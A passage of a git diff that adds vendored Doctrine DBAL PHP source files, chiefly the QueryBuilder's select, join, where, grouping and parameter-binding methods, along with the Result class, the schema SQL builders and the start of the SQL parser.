any. + * + * USING AN ARRAY ARGUMENT IS DEPRECATED. Pass each value as an individual argument. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.id', 'p.id') + * ->from('users', 'u') + * ->leftJoin('u', 'phonenumbers', 'p', 'u.id = p.user_id'); + * + * + * @param string|string[]|null $select The selection expression. USING AN ARRAY OR NULL IS DEPRECATED. + * Pass each value as an individual argument. + * + * @return $this This QueryBuilder instance. + */ + public function select($select = null/*, string ...$selects*/) + { + $this->type = self::SELECT; + + if ($select === null) { + return $this; + } + + if (is_array($select)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3837', + 'Passing an array for the first argument to QueryBuilder::select() is deprecated, ' . + 'pass each value as an individual variadic argument instead.', + ); + } + + $selects = is_array($select) ? $select : func_get_args(); + + return $this->add('select', $selects); + } + + /** + * Adds DISTINCT to the query. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.id') + * ->distinct() + * ->from('users', 'u') + * + * + * @return $this This QueryBuilder instance. + */ + public function distinct(): self + { + $this->sqlParts['distinct'] = true; + + return $this; + } + + /** + * Adds an item that is to be returned in the query result. + * + * USING AN ARRAY ARGUMENT IS DEPRECATED. Pass each value as an individual argument. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.id') + * ->addSelect('p.id') + * ->from('users', 'u') + * ->leftJoin('u', 'phonenumbers', 'u.id = p.user_id'); + * + * + * @param string|string[]|null $select The selection expression. USING AN ARRAY OR NULL IS DEPRECATED. + * Pass each value as an individual argument. + * + * @return $this This QueryBuilder instance. + */ + public function addSelect($select = null/*, string ...$selects*/) + { + $this->type = self::SELECT; + + if ($select === null) { + return $this; + } + + if (is_array($select)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3837', + 'Passing an array for the first argument to QueryBuilder::addSelect() is deprecated, ' . + 'pass each value as an individual variadic argument instead.', + ); + } + + $selects = is_array($select) ? $select : func_get_args(); + + return $this->add('select', $selects, true); + } + + /** + * Turns the query being built into a bulk delete query that ranges over + * a certain table. + * + * + * $qb = $conn->createQueryBuilder() + * ->delete('users', 'u') + * ->where('u.id = :user_id') + * ->setParameter(':user_id', 1); + * + * + * @param string $delete The table whose rows are subject to the deletion. + * @param string $alias The table alias used in the constructed query. + * + * @return $this This QueryBuilder instance. + */ + public function delete($delete = null, $alias = null) + { + $this->type = self::DELETE; + + if ($delete === null) { + return $this; + } + + return $this->add('from', [ + 'table' => $delete, + 'alias' => $alias, + ]); + } + + /** + * Turns the query being built into a bulk update query that ranges over + * a certain table + * + * + * $qb = $conn->createQueryBuilder() + * ->update('counters', 'c') + * ->set('c.value', 'c.value + 1') + * ->where('c.id = ?'); + * + * + * @param string $update The table whose rows are subject to the update. + * @param string $alias The table alias used in the constructed query. + * + * @return $this This QueryBuilder instance. + */ + public function update($update = null, $alias = null) + { + $this->type = self::UPDATE; + + if ($update === null) { + return $this; + } + + return $this->add('from', [ + 'table' => $update, + 'alias' => $alias, + ]); + } + + /** + * Turns the query being built into an insert query that inserts into + * a certain table + * + * + * $qb = $conn->createQueryBuilder() + * ->insert('users') + * ->values( + * array( + * 'name' => '?', + * 'password' => '?' + * ) + * ); + * + * + * @param string $insert The table into which the rows should be inserted. + * + * @return $this This QueryBuilder instance. + */ + public function insert($insert = null) + { + $this->type = self::INSERT; + + if ($insert === null) { + return $this; + } + + return $this->add('from', ['table' => $insert]); + } + + /** + * Creates and adds a query root corresponding to the table identified by the + * given alias, forming a cartesian product with any existing query roots. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.id') + * ->from('users', 'u') + * + * + * @param string $from The table. + * @param string|null $alias The alias of the table. + * + * @return $this This QueryBuilder instance. + */ + public function from($from, $alias = null) + { + return $this->add('from', [ + 'table' => $from, + 'alias' => $alias, + ], true); + } + + /** + * Creates and adds a join to the query. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.name') + * ->from('users', 'u') + * ->join('u', 'phonenumbers', 'p', 'p.is_primary = 1'); + * + * + * @param string $fromAlias The alias that points to a from clause. + * @param string $join The table name to join. + * @param string $alias The alias of the join table. + * @param string $condition The condition for the join. + * + * @return $this This QueryBuilder instance. + */ + public function join($fromAlias, $join, $alias, $condition = null) + { + return $this->innerJoin($fromAlias, $join, $alias, $condition); + } + + /** + * Creates and adds a join to the query. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.name') + * ->from('users', 'u') + * ->innerJoin('u', 'phonenumbers', 'p', 'p.is_primary = 1'); + * + * + * @param string $fromAlias The alias that points to a from clause. + * @param string $join The table name to join. + * @param string $alias The alias of the join table. + * @param string $condition The condition for the join. + * + * @return $this This QueryBuilder instance. + */ + public function innerJoin($fromAlias, $join, $alias, $condition = null) + { + return $this->add('join', [ + $fromAlias => [ + 'joinType' => 'inner', + 'joinTable' => $join, + 'joinAlias' => $alias, + 'joinCondition' => $condition, + ], + ], true); + } + + /** + * Creates and adds a left join to the query. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.name') + * ->from('users', 'u') + * ->leftJoin('u', 'phonenumbers', 'p', 'p.is_primary = 1'); + * + * + * @param string $fromAlias The alias that points to a from clause. + * @param string $join The table name to join. + * @param string $alias The alias of the join table. + * @param string $condition The condition for the join. + * + * @return $this This QueryBuilder instance. + */ + public function leftJoin($fromAlias, $join, $alias, $condition = null) + { + return $this->add('join', [ + $fromAlias => [ + 'joinType' => 'left', + 'joinTable' => $join, + 'joinAlias' => $alias, + 'joinCondition' => $condition, + ], + ], true); + } + + /** + * Creates and adds a right join to the query. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.name') + * ->from('users', 'u') + * ->rightJoin('u', 'phonenumbers', 'p', 'p.is_primary = 1'); + * + * + * @param string $fromAlias The alias that points to a from clause. + * @param string $join The table name to join. + * @param string $alias The alias of the join table. + * @param string $condition The condition for the join. + * + * @return $this This QueryBuilder instance. + */ + public function rightJoin($fromAlias, $join, $alias, $condition = null) + { + return $this->add('join', [ + $fromAlias => [ + 'joinType' => 'right', + 'joinTable' => $join, + 'joinAlias' => $alias, + 'joinCondition' => $condition, + ], + ], true); + } + + /** + * Sets a new value for a column in a bulk update query. + * + * + * $qb = $conn->createQueryBuilder() + * ->update('counters', 'c') + * ->set('c.value', 'c.value + 1') + * ->where('c.id = ?'); + * + * + * @param string $key The column to set. + * @param string $value The value, expression, placeholder, etc. + * + * @return $this This QueryBuilder instance. + */ + public function set($key, $value) + { + return $this->add('set', $key . ' = ' . $value, true); + } + + /** + * Specifies one or more restrictions to the query result. + * Replaces any previously specified restrictions, if any. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('c.value') + * ->from('counters', 'c') + * ->where('c.id = ?'); + * + * // You can optionally programmatically build and/or expressions + * $qb = $conn->createQueryBuilder(); + * + * $or = $qb->expr()->orx(); + * $or->add($qb->expr()->eq('c.id', 1)); + * $or->add($qb->expr()->eq('c.id', 2)); + * + * $qb->update('counters', 'c') + * ->set('c.value', 'c.value + 1') + * ->where($or); + * + * + * @param mixed $predicates The restriction predicates. + * + * @return $this This QueryBuilder instance. + */ + public function where($predicates) + { + if (! (func_num_args() === 1 && $predicates instanceof CompositeExpression)) { + $predicates = CompositeExpression::and(...func_get_args()); + } + + return $this->add('where', $predicates); + } + + /** + * Adds one or more restrictions to the query results, forming a logical + * conjunction with any previously specified restrictions. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u') + * ->from('users', 'u') + * ->where('u.username LIKE ?') + * ->andWhere('u.is_active = 1'); + * + * + * @see where() + * + * @param mixed $where The query restrictions. + * + * @return $this This QueryBuilder instance. + */ + public function andWhere($where) + { + $args = func_get_args(); + $where = $this->getQueryPart('where'); + + if ($where instanceof CompositeExpression && $where->getType() === CompositeExpression::TYPE_AND) { + $where = $where->with(...$args); + } else { + array_unshift($args, $where); + $where = CompositeExpression::and(...$args); + } + + return $this->add('where', $where, true); + } + + /** + * Adds one or more restrictions to the query results, forming a logical + * disjunction with any previously specified restrictions. + * + * + * $qb = $em->createQueryBuilder() + * ->select('u.name') + * ->from('users', 'u') + * ->where('u.id = 1') + * ->orWhere('u.id = 2'); + * + * + * @see where() + * + * @param mixed $where The WHERE statement. + * + * @return $this This QueryBuilder instance. + */ + public function orWhere($where) + { + $args = func_get_args(); + $where = $this->getQueryPart('where'); + + if ($where instanceof CompositeExpression && $where->getType() === CompositeExpression::TYPE_OR) { + $where = $where->with(...$args); + } else { + array_unshift($args, $where); + $where = CompositeExpression::or(...$args); + } + + return $this->add('where', $where, true); + } + + /** + * Specifies a grouping over the results of the query. + * Replaces any previously specified groupings, if any. + * + * USING AN ARRAY ARGUMENT IS DEPRECATED. Pass each value as an individual argument. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.name') + * ->from('users', 'u') + * ->groupBy('u.id'); + * + * + * @param string|string[] $groupBy The grouping expression. USING AN ARRAY IS DEPRECATED. + * Pass each value as an individual argument. + * + * @return $this This QueryBuilder instance. + */ + public function groupBy($groupBy/*, string ...$groupBys*/) + { + if (is_array($groupBy) && count($groupBy) === 0) { + return $this; + } + + if (is_array($groupBy)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3837', + 'Passing an array for the first argument to QueryBuilder::groupBy() is deprecated, ' . + 'pass each value as an individual variadic argument instead.', + ); + } + + $groupBy = is_array($groupBy) ? $groupBy : func_get_args(); + + return $this->add('groupBy', $groupBy, false); + } + + /** + * Adds a grouping expression to the query. + * + * USING AN ARRAY ARGUMENT IS DEPRECATED. Pass each value as an individual argument. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u.name') + * ->from('users', 'u') + * ->groupBy('u.lastLogin') + * ->addGroupBy('u.createdAt'); + * + * + * @param string|string[] $groupBy The grouping expression. USING AN ARRAY IS DEPRECATED. + * Pass each value as an individual argument. + * + * @return $this This QueryBuilder instance. + */ + public function addGroupBy($groupBy/*, string ...$groupBys*/) + { + if (is_array($groupBy) && count($groupBy) === 0) { + return $this; + } + + if (is_array($groupBy)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3837', + 'Passing an array for the first argument to QueryBuilder::addGroupBy() is deprecated, ' . + 'pass each value as an individual variadic argument instead.', + ); + } + + $groupBy = is_array($groupBy) ? $groupBy : func_get_args(); + + return $this->add('groupBy', $groupBy, true); + } + + /** + * Sets a value for a column in an insert query. + * + * + * $qb = $conn->createQueryBuilder() + * ->insert('users') + * ->values( + * array( + * 'name' => '?' + * ) + * ) + * ->setValue('password', '?'); + * + * + * @param string $column The column into which the value should be inserted. + * @param string $value The value that should be inserted into the column. + * + * @return $this This QueryBuilder instance. + */ + public function setValue($column, $value) + { + $this->sqlParts['values'][$column] = $value; + + return $this; + } + + /** + * Specifies values for an insert query indexed by column names. + * Replaces any previous values, if any. + * + * + * $qb = $conn->createQueryBuilder() + * ->insert('users') + * ->values( + * array( + * 'name' => '?', + * 'password' => '?' + * ) + * ); + * + * + * @param mixed[] $values The values to specify for the insert query indexed by column names. + * + * @return $this This QueryBuilder instance. + */ + public function values(array $values) + { + return $this->add('values', $values); + } + + /** + * Specifies a restriction over the groups of the query. + * Replaces any previous having restrictions, if any. + * + * @param mixed $having The restriction over the groups. + * + * @return $this This QueryBuilder instance. + */ + public function having($having) + { + if (! (func_num_args() === 1 && $having instanceof CompositeExpression)) { + $having = CompositeExpression::and(...func_get_args()); + } + + return $this->add('having', $having); + } + + /** + * Adds a restriction over the groups of the query, forming a logical + * conjunction with any existing having restrictions. + * + * @param mixed $having The restriction to append. + * + * @return $this This QueryBuilder instance. + */ + public function andHaving($having) + { + $args = func_get_args(); + $having = $this->getQueryPart('having'); + + if ($having instanceof CompositeExpression && $having->getType() === CompositeExpression::TYPE_AND) { + $having = $having->with(...$args); + } else { + array_unshift($args, $having); + $having = CompositeExpression::and(...$args); + } + + return $this->add('having', $having); + } + + /** + * Adds a restriction over the groups of the query, forming a logical + * disjunction with any existing having restrictions. + * + * @param mixed $having The restriction to add. + * + * @return $this This QueryBuilder instance. + */ + public function orHaving($having) + { + $args = func_get_args(); + $having = $this->getQueryPart('having'); + + if ($having instanceof CompositeExpression && $having->getType() === CompositeExpression::TYPE_OR) { + $having = $having->with(...$args); + } else { + array_unshift($args, $having); + $having = CompositeExpression::or(...$args); + } + + return $this->add('having', $having); + } + + /** + * Specifies an ordering for the query results. + * Replaces any previously specified orderings, if any. + * + * @param string $sort The ordering expression. + * @param string $order The ordering direction. + * + * @return $this This QueryBuilder instance. + */ + public function orderBy($sort, $order = null) + { + return $this->add('orderBy', $sort . ' ' . ($order ?? 'ASC'), false); + } + + /** + * Adds an ordering to the query results. + * + * @param string $sort The ordering expression. + * @param string $order The ordering direction. + * + * @return $this This QueryBuilder instance. + */ + public function addOrderBy($sort, $order = null) + { + return $this->add('orderBy', $sort . ' ' . ($order ?? 'ASC'), true); + } + + /** + * Gets a query part by its name. + * + * @param string $queryPartName + * + * @return mixed + */ + public function getQueryPart($queryPartName) + { + return $this->sqlParts[$queryPartName]; + } + + /** + * Gets all query parts. + * + * @return mixed[] + */ + public function getQueryParts() + { + return $this->sqlParts; + } + + /** + * Resets SQL parts. + * + * @param string[]|null $queryPartNames + * + * @return $this This QueryBuilder instance. + */ + public function resetQueryParts($queryPartNames = null) + { + $queryPartNames ??= array_keys($this->sqlParts); + + foreach ($queryPartNames as $queryPartName) { + $this->resetQueryPart($queryPartName); + } + + return $this; + } + + /** + * Resets a single SQL part. + * + * @param string $queryPartName + * + * @return $this This QueryBuilder instance. + */ + public function resetQueryPart($queryPartName) + { + $this->sqlParts[$queryPartName] = self::SQL_PARTS_DEFAULTS[$queryPartName]; + + $this->state = self::STATE_DIRTY; + + return $this; + } + + /** @throws QueryException */ + private function getSQLForSelect(): string + { + $query = 'SELECT ' . ($this->sqlParts['distinct'] ? 'DISTINCT ' : '') . + implode(', ', $this->sqlParts['select']); + + $query .= ($this->sqlParts['from'] ? ' FROM ' . implode(', ', $this->getFromClauses()) : '') + . ($this->sqlParts['where'] !== null ? ' WHERE ' . ((string) $this->sqlParts['where']) : '') + . ($this->sqlParts['groupBy'] ? ' GROUP BY ' . implode(', ', $this->sqlParts['groupBy']) : '') + . ($this->sqlParts['having'] !== null ? ' HAVING ' . ((string) $this->sqlParts['having']) : '') + . ($this->sqlParts['orderBy'] ? ' ORDER BY ' . implode(', ', $this->sqlParts['orderBy']) : ''); + + if ($this->isLimitQuery()) { + return $this->connection->getDatabasePlatform()->modifyLimitQuery( + $query, + $this->maxResults, + $this->firstResult, + ); + } + + return $query; + } + + /** + * @return string[] + * + * @throws QueryException + */ + private function getFromClauses(): array + { + $fromClauses = []; + $knownAliases = []; + + // Loop through all FROM clauses + foreach ($this->sqlParts['from'] as $from) { + if ($from['alias'] === null) { + $tableSql = $from['table']; + $tableReference = $from['table']; + } else { + $tableSql = $from['table'] . ' ' . $from['alias']; + $tableReference = $from['alias']; + } + + $knownAliases[$tableReference] = true; + + $fromClauses[$tableReference] = $tableSql . $this->getSQLForJoins($tableReference, $knownAliases); + } + + $this->verifyAllAliasesAreKnown($knownAliases); + + return $fromClauses; + } + + /** + * @param array $knownAliases + * + * @throws QueryException + */ + private function verifyAllAliasesAreKnown(array $knownAliases): void + { + foreach ($this->sqlParts['join'] as $fromAlias => $joins) { + if (! isset($knownAliases[$fromAlias])) { + throw QueryException::unknownAlias($fromAlias, array_keys($knownAliases)); + } + } + } + + private function isLimitQuery(): bool + { + return $this->maxResults !== null || $this->firstResult !== 0; + } + + /** + * Converts this instance into an INSERT string in SQL. + */ + private function getSQLForInsert(): string + { + return 'INSERT INTO ' . $this->sqlParts['from']['table'] . + ' (' . implode(', ', array_keys($this->sqlParts['values'])) . ')' . + ' VALUES(' . implode(', ', $this->sqlParts['values']) . ')'; + } + + /** + * Converts this instance into an UPDATE string in SQL. + */ + private function getSQLForUpdate(): string + { + $table = $this->sqlParts['from']['table'] + . ($this->sqlParts['from']['alias'] ? ' ' . $this->sqlParts['from']['alias'] : ''); + + return 'UPDATE ' . $table + . ' SET ' . implode(', ', $this->sqlParts['set']) + . ($this->sqlParts['where'] !== null ? ' WHERE ' . ((string) $this->sqlParts['where']) : ''); + } + + /** + * Converts this instance into a DELETE string in SQL. + */ + private function getSQLForDelete(): string + { + $table = $this->sqlParts['from']['table'] + . ($this->sqlParts['from']['alias'] ? ' ' . $this->sqlParts['from']['alias'] : ''); + + return 'DELETE FROM ' . $table + . ($this->sqlParts['where'] !== null ? ' WHERE ' . ((string) $this->sqlParts['where']) : ''); + } + + /** + * Gets a string representation of this QueryBuilder which corresponds to + * the final SQL query being constructed. + * + * @return string The string representation of this QueryBuilder. + */ + public function __toString() + { + return $this->getSQL(); + } + + /** + * Creates a new named parameter and bind the value $value to it. + * + * This method provides a shortcut for {@see Statement::bindValue()} + * when using prepared statements. + * + * The parameter $value specifies the value that you want to bind. If + * $placeholder is not provided createNamedParameter() will automatically + * create a placeholder for you. An automatic placeholder will be of the + * name ':dcValue1', ':dcValue2' etc. + * + * Example: + * + * $value = 2; + * $q->eq( 'id', $q->createNamedParameter( $value ) ); + * $stmt = $q->executeQuery(); // executed with 'id = 2' + * + * + * @link http://www.zetacomponents.org + * + * @param mixed $value + * @param int|string|Type|null $type + * @param string $placeHolder The name to bind with. The string must start with a colon ':'. + * + * @return string the placeholder name used. + */ + public function createNamedParameter($value, $type = ParameterType::STRING, $placeHolder = null) + { + if ($placeHolder === null) { + $this->boundCounter++; + $placeHolder = ':dcValue' . $this->boundCounter; + } + + $this->setParameter(substr($placeHolder, 1), $value, $type); + + return $placeHolder; + } + + /** + * Creates a new positional parameter and bind the given value to it. + * + * Attention: If you are using positional parameters with the query builder you have + * to be very careful to bind all parameters in the order they appear in the SQL + * statement , otherwise they get bound in the wrong order which can lead to serious + * bugs in your code. + * + * Example: + * + * $qb = $conn->createQueryBuilder(); + * $qb->select('u.*') + * ->from('users', 'u') + * ->where('u.username = ' . $qb->createPositionalParameter('Foo', ParameterType::STRING)) + * ->orWhere('u.username = ' . $qb->createPositionalParameter('Bar', ParameterType::STRING)) + * + * + * @param mixed $value + * @param int|string|Type|null $type + * + * @return string + */ + public function createPositionalParameter($value, $type = ParameterType::STRING) + { + $this->setParameter($this->boundCounter, $value, $type); + $this->boundCounter++; + + return '?'; + } + + /** + * @param string $fromAlias + * @param array $knownAliases + * + * @throws QueryException + */ + private function getSQLForJoins($fromAlias, array &$knownAliases): string + { + $sql = ''; + + if (isset($this->sqlParts['join'][$fromAlias])) { + foreach ($this->sqlParts['join'][$fromAlias] as $join) { + if (array_key_exists($join['joinAlias'], $knownAliases)) { + throw QueryException::nonUniqueAlias((string) $join['joinAlias'], array_keys($knownAliases)); + } + + $sql .= ' ' . strtoupper($join['joinType']) + . ' JOIN ' . $join['joinTable'] . ' ' . $join['joinAlias']; + if ($join['joinCondition'] !== null) { + $sql .= ' ON ' . $join['joinCondition']; + } + + $knownAliases[$join['joinAlias']] = true; + } + + foreach ($this->sqlParts['join'][$fromAlias] as $join) { + $sql .= $this->getSQLForJoins($join['joinAlias'], $knownAliases); + } + } + + return $sql; + } + + /** + * Deep clone of all expression objects in the SQL parts. + * + * @return void + */ + public function __clone() + { + foreach ($this->sqlParts as $part => $elements) { + if (is_array($this->sqlParts[$part])) { + foreach ($this->sqlParts[$part] as $idx => $element) { + if (! is_object($element)) { + continue; + } + + $this->sqlParts[$part][$idx] = clone $element; + } + } elseif (is_object($elements)) { + $this->sqlParts[$part] = clone $elements; + } + } + + foreach ($this->params as $name => $param) { + if (! is_object($param)) { + continue; + } + + $this->params[$name] = clone $param; + } + } + + /** + * Enables caching of the results of this query, for given amount of seconds + * and optionally specified witch key to use for the cache entry. + * + * @return $this + */ + public function enableResultCache(QueryCacheProfile $cacheProfile): self + { + $this->resultCacheProfile = $cacheProfile; + + return $this; + } + + /** + * Disables caching of the results of this query. + * + * @return $this + */ + public function disableResultCache(): self + { + $this->resultCacheProfile = null; + + return $this; + } +} diff --git a/vendor/doctrine/dbal/src/Query/QueryException.php b/vendor/doctrine/dbal/src/Query/QueryException.php new file mode 100644 index 000000000..90d1f47d9 --- /dev/null +++ b/vendor/doctrine/dbal/src/Query/QueryException.php @@ -0,0 +1,37 @@ +result = $result; + $this->connection = $connection; + } + + /** + * Returns the next row of the result as a numeric array or FALSE if there are no more rows. + * + * @return list|false + * + * @throws Exception + */ + public function fetchNumeric() + { + try { + return $this->result->fetchNumeric(); + } catch (DriverException $e) { + throw $this->connection->convertException($e); + } + } + + /** + * Returns the next row of the result as an associative array or FALSE if there are no more rows. + * + * @return array|false + * + * @throws Exception + */ + public function fetchAssociative() + { + try { + return $this->result->fetchAssociative(); + } catch (DriverException $e) { + throw $this->connection->convertException($e); + } + } + + /** + * Returns the first value of the next row of the result or FALSE if there are no more rows. + * + * @return mixed|false + * + * @throws Exception + */ + public function fetchOne() + { + try { + return $this->result->fetchOne(); + } catch (DriverException $e) { + throw $this->connection->convertException($e); + } + } + + /** + * Returns an array containing all of the result rows represented as numeric arrays. + * + * @return list> + * + * @throws Exception + */ + public function fetchAllNumeric(): array + { + try { + return $this->result->fetchAllNumeric(); + } catch (DriverException $e) { + throw $this->connection->convertException($e); + } + } + + /** + * Returns an array containing all of the result rows represented as associative arrays. + * + * @return list> + * + * @throws Exception + */ + public function fetchAllAssociative(): array + { + try { + return $this->result->fetchAllAssociative(); + } catch (DriverException $e) { + throw $this->connection->convertException($e); + } + } + + /** + * Returns an array containing the values of the first column of the result. + * + * @return array + * + * @throws Exception + */ + public function fetchAllKeyValue(): array + { + $this->ensureHasKeyValue(); + + $data = []; + + foreach ($this->fetchAllNumeric() as [$key, $value]) { + $data[$key] = $value; + } + + return $data; + } + + /** + * Returns an associative array with the keys mapped to the first column and the values being + * an associative array representing the rest of the columns and their values. + * + * @return array> + * + * @throws Exception + */ + public function fetchAllAssociativeIndexed(): array + { + $data = []; + + foreach ($this->fetchAllAssociative() as $row) { + $data[array_shift($row)] = $row; + } + + return $data; + } + + /** + * @return list + * + * @throws Exception + */ + public function fetchFirstColumn(): array + { + try { + return $this->result->fetchFirstColumn(); + } catch (DriverException $e) { + throw $this->connection->convertException($e); + } + } + + /** + * @return Traversable> + * + * @throws Exception + */ + public function iterateNumeric(): Traversable + { + while (($row = $this->fetchNumeric()) !== false) { + yield $row; + } + } + + /** + * @return Traversable> + * + * @throws Exception + */ + public function iterateAssociative(): Traversable + { + while (($row = $this->fetchAssociative()) !== false) { + yield $row; + } + } + + /** + * {@inheritDoc} + * + * @throws Exception + */ + public function iterateKeyValue(): Traversable + { + $this->ensureHasKeyValue(); + + foreach ($this->iterateNumeric() as [$key, $value]) { + yield $key => $value; + } + } + + /** + * Returns an iterator over the result set with the keys mapped to the first column and the values being + * an associative array representing the rest of the columns and their values. + * + * @return Traversable> + * + * @throws Exception + */ + public function iterateAssociativeIndexed(): Traversable + { + foreach ($this->iterateAssociative() as $row) { + yield array_shift($row) => $row; + } + } + + /** + * @return Traversable + * + * @throws Exception + */ + public function iterateColumn(): Traversable + { + while (($value = $this->fetchOne()) !== false) { + yield $value; + } + } + + /** @throws Exception */ + public function rowCount(): int + { + try { + return $this->result->rowCount(); + } catch (DriverException $e) { + throw $this->connection->convertException($e); + } + } + + /** @throws Exception */ + public function columnCount(): int + { + try { + return $this->result->columnCount(); + } catch (DriverException $e) { + throw $this->connection->convertException($e); + } + } + + public function free(): void + { + $this->result->free(); + } + + /** @throws Exception */ + private function ensureHasKeyValue(): void + { + $columnCount = $this->columnCount(); + + if ($columnCount < 2) { + throw NoKeyValue::fromColumnCount($columnCount); + } + } + + /** + * BC layer for a wide-spread use-case of old DBAL APIs + * + * @deprecated Use {@see fetchNumeric()}, {@see fetchAssociative()} or {@see fetchOne()} instead. + * + * @psalm-param FetchMode::* $mode + * + * @return mixed + * + * @throws Exception + */ + public function fetch(int $mode = FetchMode::ASSOCIATIVE) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4007', + '%s is deprecated, please use fetchNumeric(), fetchAssociative() or fetchOne() instead.', + __METHOD__, + ); + + if (func_num_args() > 1) { + throw new LogicException('Only invocations with one argument are still supported by this legacy API.'); + } + + if ($mode === FetchMode::ASSOCIATIVE) { + return $this->fetchAssociative(); + } + + if ($mode === FetchMode::NUMERIC) { + return $this->fetchNumeric(); + } + + if ($mode === FetchMode::COLUMN) { + return $this->fetchOne(); + } + + throw new LogicException('Only fetch modes declared on Doctrine\DBAL\FetchMode are supported by legacy API.'); + } + + /** + * BC layer for a wide-spread use-case of old DBAL APIs + * + * @deprecated Use {@see fetchAllNumeric()}, {@see fetchAllAssociative()} or {@see fetchFirstColumn()} instead. + * + * @psalm-param FetchMode::* $mode + * + * @return list + * + * @throws Exception + */ + public function fetchAll(int $mode = FetchMode::ASSOCIATIVE): array + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4007', + '%s is deprecated, please use fetchAllNumeric(), fetchAllAssociative() or fetchFirstColumn() instead.', + __METHOD__, + ); + + if (func_num_args() > 1) { + throw new LogicException('Only invocations with one argument are still supported by this legacy API.'); + } + + if ($mode === FetchMode::ASSOCIATIVE) { + return $this->fetchAllAssociative(); + } + + if ($mode === FetchMode::NUMERIC) { + return $this->fetchAllNumeric(); + } + + if ($mode === FetchMode::COLUMN) { + return $this->fetchFirstColumn(); + } + + throw new LogicException('Only fetch modes declared on Doctrine\DBAL\FetchMode are supported by legacy API.'); + } +} diff --git a/vendor/doctrine/dbal/src/SQL/Builder/CreateSchemaObjectsSQLBuilder.php b/vendor/doctrine/dbal/src/SQL/Builder/CreateSchemaObjectsSQLBuilder.php new file mode 100644 index 000000000..2e392e661 --- /dev/null +++ b/vendor/doctrine/dbal/src/SQL/Builder/CreateSchemaObjectsSQLBuilder.php @@ -0,0 +1,85 @@ +platform = $platform; + } + + /** + * @return list + * + * @throws Exception + */ + public function buildSQL(Schema $schema): array + { + return array_merge( + $this->buildNamespaceStatements($schema->getNamespaces()), + $this->buildSequenceStatements($schema->getSequences()), + $this->buildTableStatements($schema->getTables()), + ); + } + + /** + * @param list $namespaces + * + * @return list + * + * @throws Exception + */ + private function buildNamespaceStatements(array $namespaces): array + { + $statements = []; + + if ($this->platform->supportsSchemas()) { + foreach ($namespaces as $namespace) { + $statements[] = $this->platform->getCreateSchemaSQL($namespace); + } + } + + return $statements; + } + + /** + * @param list
    $tables + * + * @return list + * + * @throws Exception + */ + private function buildTableStatements(array $tables): array + { + return $this->platform->getCreateTablesSQL($tables); + } + + /** + * @param list $sequences + * + * @return list + * + * @throws Exception + */ + private function buildSequenceStatements(array $sequences): array + { + $statements = []; + + foreach ($sequences as $sequence) { + $statements[] = $this->platform->getCreateSequenceSQL($sequence); + } + + return $statements; + } +} diff --git a/vendor/doctrine/dbal/src/SQL/Builder/DropSchemaObjectsSQLBuilder.php b/vendor/doctrine/dbal/src/SQL/Builder/DropSchemaObjectsSQLBuilder.php new file mode 100644 index 000000000..8de742a31 --- /dev/null +++ b/vendor/doctrine/dbal/src/SQL/Builder/DropSchemaObjectsSQLBuilder.php @@ -0,0 +1,62 @@ +platform = $platform; + } + + /** + * @return list + * + * @throws Exception + */ + public function buildSQL(Schema $schema): array + { + return array_merge( + $this->buildSequenceStatements($schema->getSequences()), + $this->buildTableStatements($schema->getTables()), + ); + } + + /** + * @param list
    $tables + * + * @return list + */ + private function buildTableStatements(array $tables): array + { + return $this->platform->getDropTablesSQL($tables); + } + + /** + * @param list $sequences + * + * @return list + * + * @throws Exception + */ + private function buildSequenceStatements(array $sequences): array + { + $statements = []; + + foreach ($sequences as $sequence) { + $statements[] = $this->platform->getDropSequenceSQL($sequence); + } + + return $statements; + } +} diff --git a/vendor/doctrine/dbal/src/SQL/Parser.php b/vendor/doctrine/dbal/src/SQL/Parser.php new file mode 100644 index 000000000..ae0d4428f --- /dev/null +++ b/vendor/doctrine/dbal/src/SQL/Parser.php @@ -0,0 +1,127 @@ +getMySQLStringLiteralPattern("'"), + $this->getMySQLStringLiteralPattern('"'), + ]; + } else { + $patterns = [ + $this->getAnsiSQLStringLiteralPattern("'"), + $this->getAnsiSQLStringLiteralPattern('"'), + ]; + } + + $patterns = array_merge($patterns, [ + self::BACKTICK_IDENTIFIER, + self::BRACKET_IDENTIFIER, + self::MULTICHAR, + self::ONE_LINE_COMMENT, + self::MULTI_LINE_COMMENT, + self::OTHER, + ]); + + $this->sqlPattern = sprintf('(%s)', implode('|', $patterns)); + } + + /** + * Parses the given SQL statement + * + * @throws Exception + */ + public function parse(string $sql, Visitor $visitor): void + { + /** @var array $patterns */ + $patterns = [ + self::NAMED_PARAMETER => static function (string $sql) use ($visitor): void { + $visitor->acceptNamedParameter($sql); + }, + self::POSITIONAL_PARAMETER => static function (string $sql) use ($visitor): void { + $visitor->acceptPositionalParameter($sql); + }, + $this->sqlPattern => static function (string $sql) use ($visitor): void { + $visitor->acceptOther($sql); + }, + self::SPECIAL => static function (string $sql) use ($visitor): void { + $visitor->acceptOther($sql); + }, + ]; + + $offset = 0; + + while (($handler = current($patterns)) !== false) { + if (preg_match('~\G' . key($patterns) . '~s', $sql, $matches, 0, $offset) === 1) { + $handler($matches[0]); + reset($patterns); + + $offset += strlen($matches[0]); + } elseif (preg_last_error() !== PREG_NO_ERROR) { + // @codeCoverageIgnoreStart + throw RegularExpressionError::new(); + // @codeCoverageIgnoreEnd + } else { + next($patterns); + } + } + + assert($offset === strlen($sql)); + } + + private function getMySQLStringLiteralPattern(string $delimiter): string + { + return $delimiter . '((\\\\.)|(?![' . $delimiter . '\\\\]).)*' . $delimiter; + } + + private function 